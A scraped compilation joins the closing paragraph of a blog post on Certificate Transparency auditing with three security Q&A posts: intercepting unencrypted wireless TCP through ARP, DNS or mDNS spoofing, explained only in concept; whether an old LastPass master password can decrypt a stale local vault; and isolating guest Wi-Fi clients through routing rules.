  All of this is a ways off. CTv2 is still not standardized. Chrome still doesn't do any SCT auditing, and consequentially its CT policy requires at least one SCT to be from a Google-operated log, since Google obviously trusts its own logs not to break its promises. Fortunately, even without widespread log auditing, Certificate Transparency has been a huge success, cleaning up the certificate authority ecosystem and making everyone more secure. Nevertheless, I think it would be a shame if Certificate Transparency's auditability were never fully realized, and I hope we'll be able to find a way to make it work.


Is it possible to intercept and modify a wireless TCP transmission? Given three parties (all in the same LAN): A client, a server, and a MITM. The client and server communicate wirelessly, and don't encrypt their messages. The MITM can see the messages, but question is: could he modify the packets sent from the client?

The wireless network is not owned by the MITM, but he can see the packets since his network adapter supports monitor mode.

Yes, there are ways. One of them is ARP spoofing. In it, the MITM can link their MAC address with the IP address of a legitimate computer or server on the network. Then, any messages to the intended IP address will be sent to the attacker.

Visit https://www.veracode.com/security/arp-spoofing to learn more about ARP spoofing.

More examples of it would be:

DNS Spoofing
mDNS Spoofing
Read this to learn more: https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/


Lastpass - Can I use my old master password to decrypt local data? I am a user of Lastpass and I have some concern about the storage of local data. According to my knowledge about Lastpass, there is an encrypted local vault stored in my devices with the Lastpass app or browser extension. The encryption key is generated with my master password and every time I login with internet connection, the vault is updated.
Now, suppose I have two devices, say A and B, both with the Lastpass browser extension and has been logged into Lastpass with internet connection recently. At some point, I suspected that device A was infected with some malware such as a keylogger. I stopped using device A immediately. Then I use the “clean” device B to change the master password with good internet connection. In this case, both online vault and local vault of device B were updated and reencrypted (according to my understending, is it correct?), but not the local vault in device A. Suppose the hacker somehow gain access to device A, is it possible for him to use my old master password to decrypt the local vault in device A offline? If this is possible, wouldn't it be risky to store the data locally?

Sure fire way to keep a hacker from stealing your passwords off of device A is disconnecting it from the internet, then removing the malware.  If you want to be really safe, reinstall the OS.

That being said, your understanding is correct, the hacker could potentially decrypt your vault on the computer.


Does any Wifi technology permit safe & secure sharing of an Internet connection? I have an internet circuit that I would like to protect from untrusted peers. BUT I don't want the peers in the same broadcast domain to be able to affect other peers.

(e.g. Wifi user 1 shouldn't be able to affect Wifi user 2)

What set of authentication/encryption technologies will allow for safe sharing of an internet connection?

My threat model is to prevent peers on a guest network from interfering with other peers on the same subnet.  In addition, I don't want the guests to be able to access internal resources.

Ideally there is a captive portal that enforces a sign-on, but this assumes a secure data link layer.

Question

What set of technologies is appropriate for securing and isolating a Wifi Connection from untrusted peers?

(assume that a RADIUS server can authenticate the peers to some degree, enforcing some authentication if necessary)

As Falco already commented the solution for isolation of the hosts lies in the routing of your network: Drop all connections to other hosts in your guest and private subnet. The only attack vector which is not addressed in this setup is DOS on the physical layer but you can't do anything preventive about this except by limiting the range of the signal.